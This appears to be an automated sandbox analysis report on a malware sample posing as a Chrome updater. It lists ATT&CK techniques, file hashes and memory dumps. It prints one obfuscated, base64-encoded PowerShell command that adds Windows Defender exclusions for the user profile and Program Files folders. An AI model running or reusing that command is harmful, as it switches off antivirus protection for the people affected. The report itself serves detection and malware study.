"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG0AcQAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGcAbABvACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgADwAIwB3AGoAeAAjAD4AIABAACgAIAA8ACMAdwBxACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBpAG8AZAB5ACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAGgAYQBkAGcAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAdwBmAHcAIwA+AA=="
2⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3176

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updaterchr.exe

Filesize
4.3MB

MD5
e0ec197ba6e02af435a5230b8f4331b3

SHA1
7aada797f2a5f1ff58467923f47d6d31db33fc1a

SHA256
f96299c94417aea9f7f1d612cb84635a5c2f7c461e86da1febb052b4a2ef32ed

SHA512
46927c14cf945ee013731cc19671a1e183c44eb62a0f3e16ce9323bee26d92818aa8271cef7ffd781e51c1c583f162f438c8ea8d6902fdb10d807f7b42032770

Download Submit
C:\Program Files\Google\Chrome\updaterchr.exe

Filesize
4.3MB

MD5
e0ec197ba6e02af435a5230b8f4331b3

SHA1
7aada797f2a5f1ff58467923f47d6d31db33fc1a

SHA256
f96299c94417aea9f7f1d612cb84635a5c2f7c461e86da1febb052b4a2ef32ed

SHA512
46927c14cf945ee013731cc19671a1e183c44eb62a0f3e16ce9323bee26d92818aa8271cef7ffd781e51c1c583f162f438c8ea8d6902fdb10d807f7b42032770

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d42b6da621e8df5674e26b799c8e2aa

SHA1
ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

SHA256
5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

SHA512
53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

Download Submit
memory/804-148-0x0000000000000000-mapping.dmp

Download
memory/1052-173-0x0000000000000000-mapping.dmp

Download
memory/1180-137-0x00007FFD0FAC0000-0x00007FFD10581000-memory.dmp

Filesize
10.8MB

Download
memory/1180-135-0x000001EEDF390000-0x000001EEDF3B2000-memory.dmp

Filesize
136KB

Download
memory/1180-134-0x0000000000000000-mapping.dmp

Download
memory/1180-136-0x00007FFD0FAC0000-0x00007FFD10581000-memory.dmp

Filesize
10.8MB

Download
memory/1240-171-0x0000000000000000-mapping.dmp

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memory/1264-145-0x0000000000000000-mapping.dmp

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memory/1400-175-0x0000000000000000-mapping.dmp

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memory/1444-176-0x0000000000000000-mapping.dmp

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memory/1492-177-0x0000000000000000-mapping.dmp

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memory/1676-147-0x0000000000000000-mapping.dmp

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memory/1680-156-0x0000000000000000-mapping.dmp

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memory/1724-159-0x0000000000000000-mapping.dmp

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memory/1812-139-0x0000000000000000-mapping.dmp

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memory/1940-140-0x0000000000000000-mapping.dmp

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memory/1992-164-0x0000000000000000-mapping.dmp

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memory/2000-170-0x0000000000000000-mapping.dmp

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memory/2024-180-0x0000000000000000-mapping.dmp

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memory/2044-162-0x0000000000000000-mapping.dmp

Download
memory/2104-179-0x0000000000000000-mapping.dmp

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memory/2208-174-0x0000000000000000-mapping.dmp

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memory/2660-142-0x0000000000000000-mapping.dmp

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memory/3060-141-0x0000000000000000-mapping.dmp

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memory/3144-144-0x0000000000000000-mapping.dmp

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memory/3176-167-0x0000000000000000-mapping.dmp

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memory/3176-183-0x0000020774420000-0x000002077443C000-memory.dmp

Filesize
112KB

Download
memory/3176-184-0x0000020774400000-0x000002077440A000-memory.dmp

Filesize
40KB

Download
memory/3176-181-0x00000207742B0000-0x00000207742BA000-memory.dmp

Filesize
40KB

Download
memory/3176-169-0x00007FFD0FF70000-0x00007FFD10A31000-memory.dmp

Filesize
10.8MB

Download
memory/3176-178-0x00000207741D0000-0x00000207741EC000-memory.dmp

Filesize
112KB

Download
memory/3412-154-0x0000000000000000-mapping.dmp

Download
memory/3448-163-0x00007FFD0FAC0000-0x00007FFD10581000-memory.dmp

Filesize
10.8MB

Download
memory/3448-138-0x00007FFD0FAC0000-0x00007FFD10581000-memory.dmp

Filesize
10.8MB

Download
memory/3448-133-0x00007FFD0FAC0000-0x00007FFD10581000-memory.dmp

Filesize
10.8MB

Download
memory/3448-132-0x0000000000680000-0x0000000000ACA000-memory.dmp

Filesize
4.3MB

Download
memory/3488-151-0x0000000000000000-mapping.dmp

Download
memory/3672-157-0x0000000000000000-mapping.dmp

Download
memory/3796-152-0x0000000000000000-mapping.dmp

Download
memory/4448-182-0x0000000000000000-mapping.dmp

Download
memory/4496-168-0x00007FFD0FF70000-0x00007FFD10A31000-memory.dmp

Filesize
10.8MB

Download
memory/4520-158-0x0000000000000000-mapping.dmp

Download
memory/4588-143-0x0000000000000000-mapping.dmp

Download
memory/4588-161-0x00007FFD0FAC0000-0x00007FFD10581000-memory.dmp

Filesize
10.8MB

Download
memory/4588-155-0x00007FFD0FAC0000-0x00007FFD10581000-memory.dmp

Filesize
10.8MB

Download
memory/4612-160-0x0000000000000000-mapping.dmp

Download
memory/4760-153-0x0000000000000000-mapping.dmp

Download
memory/4772-172-0x0000000000000000-mapping.dmp

Download
memory/4860-149-0x0000000000000000-mapping.dmp

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